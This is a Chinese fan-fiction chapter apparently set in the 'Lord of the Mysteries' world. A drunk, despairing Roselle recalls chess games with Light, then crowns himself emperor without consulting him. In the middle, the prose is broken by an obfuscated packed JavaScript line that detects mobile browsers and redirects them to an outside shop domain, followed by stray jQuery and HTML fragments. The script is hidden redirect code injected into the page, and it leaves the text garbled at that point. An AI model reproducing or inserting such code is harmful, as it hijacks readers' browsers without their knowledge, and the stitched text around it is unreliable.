罗塞尔忘了自己是怎么返回地球的。
大脑中各种声音在疯狂叫嚣着争夺控制权，幸好他浑浑噩噩回到白枫宫，一路上还没忘记要避开所有人，直到最后他将自己关在工作室内，颓然地倒在椅子上。
——“一切都是徒劳。”
这句话忽然浮现在脑海中，罗塞尔忍不住放声大笑，笑着笑着，不知是不是呛到了，他又剧烈咳嗽到喘不过气来，挣扎着从椅子上滑到地上，弯着腰久久直不起身。
他疯狂咳嗽，一只手掐着自己的喉咙，另一只手挣扎着摸向桌边的酒瓶，一瓶红酒摆在案头，他抓起瓶身，拔开木头塞子就仰头往喉咙里灌下去，再一把将空酒瓶摔碎在墙上，酒瓶碎片哗啦啦从墙上溅落在地毯上，在灯光的照耀下迷离如星空。
罗塞尔怔怔看了一会儿，忽然站起身，猛地掀翻身旁的桌子，墨水倒了一地，桌子上的纸张在半空飞舞，桌面的棋盘砸在地上，棋子滚落一地。
普通的酒灌不醉“知识皇帝”，但罗塞尔总感觉自己已经飘飘然了，他半哭半笑，喃喃低语。
“呵呵……末日的威胁……生存的希冀……呵呵……”
“……起码一事是真：此生飞逝……”
他打了个嗝，仰躺在地，双目迷蒙地看着头顶的水晶吊灯，嘴里用嘲笑的语气念着古老的诗句。
“呵呵……一事是真啊，其余……皆谎。”
“花开一度后……将与世永辞。”
罗塞尔眯着眼，他伸出一只手，看见虚幻的光线溜过他的指缝。
他的家人、朋友、帝国，穿越至今几十年创造的功业，顷刻倒塌后，只不过落了片白茫茫大地真干净。一旦攥紧手掌，什么也不会留下。
他出神着，口中喃喃念诵，语带苦涩的嘲笑。
“……不奇怪吗?千千万万人，”
“从未在我们前通过了黑暗之门。”
“也无一人回来……给我们指路。”
末日面前，序列几又如何？就算是真神又如何？七神在末日面前，一样无可奈何！而在序列之中挣扎的我们，不过是一群可怜虫罢了！如今的这一切不过是一场骗局！一场粉饰太平的骗局！
“呵呵……”
罗塞尔嗤笑着偏过头，看见滚落一地的棋子，是他穿越后“发明”的国际象棋，黑白的棋子洒落在鲜红的地毯上，静静看着他的狼狈模样。
罗塞尔就这样呆呆地看着一地棋子。
他想起，最常与他下棋的是常驻白枫宫办公的莱特，其次是对一切都怀有好奇之心的贝尔纳黛。
罗塞尔看着棋子，能一帧帧回忆起与两人一起下棋的日子。
——对了，他们还会一起下象棋，中国象棋，这个世界上只有少数几个人会，因为那是来自故乡的棋，罗塞尔不想教给太多人……
与宝贝女儿下棋时，罗塞尔偶尔会让棋，但与莱特下棋时，罗塞尔从来不放水。两个同样聪明的高序列非凡者日常生活中相处默契，但在棋桌边难得成为竞争对手。
罗塞尔精心计算着每一次得失，他不在乎自己手下的小卒，但那些重要的棋子，比如“象”，比如“士”，他看得尤其重要，不容许丝毫损失，既为了保存实力也为了保护自己的“将”，罗塞尔会分出更多精力保护这些棋子。而同时，他的棋风带着毫不掩饰的野心与侵略性，从不放弃每一个从对方身上咬下一块肉的机会。
莱特下棋是另一种风格，他一样善于计算，但棋盘上的一切棋子都在他的计算范围内，有时为了更长远的利益，他甚至可以放任自己的“帅”时刻处于被将的威胁中，也会毫无波澜地任由罗塞尔连吃几子，直到罗塞尔在接连的胜利中放松警惕，莱特就会抓住时机一举反扑。
罗塞尔偶尔也会厚着脸皮耍赖悔棋……虽然是他正义凛然地教贝尔纳黛什么是“落子无悔”，但面对崇拜自己的宝贝女儿有偶像包袱，面对多年的朋友就没那么有了。
比如罗塞尔就教会了莱特什么叫“看！外面有不明飞行物”。
而这个时候，莱特往往会用浅金的双眼看一看罗塞尔，默默把下出的棋子撤回去。
偶尔莱特会说：“你再这么浪费时间就别下棋了，去把文件批了。”
……那是多么美好的时光啊，罗塞尔·古斯塔夫几乎富有一切。
看着看着，想着想着，心里有个声音在问他：你甘心吗？就这样了吗？时代的主角也不过如此吗？
罗塞尔挣扎着伸出一只手去够最近的那颗棋子，他将温润的棋子攥在手心，然后对准光线，怔怔观察。
这枚小小的棋子由昂贵的天然矿石磨制而成，通体是幽深的黑色，最顶端有一顶小小的、精致的王冠。
这是“黑国王”。
罗塞尔长久地端详着棋子，没人知道他想了什么。
过了很久，久到屋外的月亮离去，太阳爬上山顶。
一直维持着一个动作的罗塞尔忽然大笑着攥紧手掌，抓住了光，他咆哮道：
“——我们只能亲自再去探寻！”①
只有一人的工作室内，躺在地上的罗塞尔撕心裂肺地狂笑着，将棋子高举向天。
“前进四！”
前进！前进！不择手段地前进！②
……
某年某月某日，时任因蒂斯执政官的罗塞尔秘密找到黄昏隐士会发起者亚当，除了两位当事者，无人知晓两人的具体谈话内容。
之后几年，罗塞尔坚定地加快了改革的脚步，他推翻与议会主席莱特商定的“稳步改革”策略，使用了一种更加激进的改革方式。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17833074|210178||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>因蒂斯所有人至此正式坐在一列全速前进的蒸汽列车之上，它的发展速度更快了，快到前所未有。
身为稳定各方的枢纽，议会主席莱特·索伦俨然已成为这辆全速机器上的列车长，他艰难地稳定着行驶方向，时不时还要检查列车状况、安抚乘客情绪、收集更多可供列车行驶的燃料……甚至需要派人时刻监督休整铁轨，否则列车就会有脱轨的风险。
但罗塞尔还嫌不够快，他说：“没时间了。”
一一九二年年底，在因蒂斯共和国成立将满二十周年之际，执政官罗塞尔·古斯塔夫改因蒂斯共和国为因蒂斯帝国，自称“凯撒大帝”。同时拆散议会、重组政府，任命议员为各部门大臣，任命莱特·索伦为因蒂斯帝国宰相，册封帝国公爵。
这一次，他没再与莱特商量。
为自己加冕的前一夜，罗塞尔在日记里写下：
“此后如竟没有炬火，我便是唯一的光。”③
……
政变时，莱特正为因蒂斯的快速发展而分身乏术，几个月没有出自己的办公室。
驾驶一辆全速前进的马车是十分费神的事情，更何况为其指明方向的是超脱时代的罗塞尔·古斯塔夫，这么多年莱特统领各方事务、到处给罗塞尔的策略打补丁却还没倒下，只能说序列9到序列3的魔药确实没白喝，至少一位高序列非凡者的体质和精神都经受得住工作的摧残。
但当任命莱特·索伦为因蒂斯帝国宰相的文书下来时，看着带来文件的人群，面对众人的恭维与祝贺，事实上对这一切毫不知情的本人只是淡淡地接受了。
“或许这就是时代的浪潮吧，我们只是身在浪潮之中。”
——这是莱特接过任命文书后说的唯一一句话。
时代选择了罗塞尔，时代推举了罗塞尔。众人以为这是对因蒂斯众望所归的凯撒大帝的夸耀溢美之词，新上任的因蒂斯帝国史官将这句话记在羊皮纸上，使其成为历史的一部分，或许在未来，这句话会成为所有对罗塞尔大帝的评价中最著名的一句，每一个学习这段历史的人都无法绕过这句话、绕过莱特·索伦。
又或许会有后来的帝王崇拜着罗塞尔大帝的功绩，也称自己为“时代浪潮的选择”。
再或许百年后，依旧有诗人、画家由此产生无限的灵感，创作出各种以“时代浪潮”为主题的作品，他们在作品中讨论这段历史、讨论千古留名的罗塞尔大帝、讨论莱特·索伦说这句话的深意，在他们的作品中揭示更多关于时代、命运与选择的哲理。
甚至会有画家创作莱特刺杀罗塞尔大帝的经典历史一幕，并将这幅作品命名为“时代的浪潮”。
【我们没有做错什么，我们只是身在浪潮之中。】
在莱特的心灵世界，第八盏灯悄然点亮。